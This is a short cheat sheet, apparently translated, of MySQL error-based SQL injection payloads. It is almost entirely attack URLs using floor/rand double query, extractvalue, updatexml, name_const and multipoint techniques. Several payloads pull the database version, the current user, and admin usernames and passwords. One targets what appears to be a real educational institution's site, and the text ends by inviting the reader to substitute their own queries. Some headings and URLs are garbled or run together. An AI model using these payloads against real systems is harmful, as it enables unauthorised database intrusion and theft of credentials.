/* Database version */

Sql

http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/* Connect users */

Sql

http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/* Connect to Database */

/* Mob content */

Sql

http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2. Extractvalue (with length limit, maximum 32 bits)

Sql

http://www.hackblog.cn/sql.php?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))http://www.hackblog.cn/sql.php?id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

3. Updatexml (with length limit, maximum 32 bits)

Sql

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

4, Name_const (for the lower version)

Sql

http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261 and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--

5. Error based Double Query injection (http://www.vaibs.in/error-based-double-query-injection/)

/* Database version */

Sql

http://www.hackblog.cn/sql.php?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1

6. Multipoint (New method)

/* Database version */

Sql

http://www.hackblog.cn/sql.php?id=1 and 1=(select multipoint((select * from(select * from(select version())f)x)))

Let's find the keyword and replace it with what you want to query.
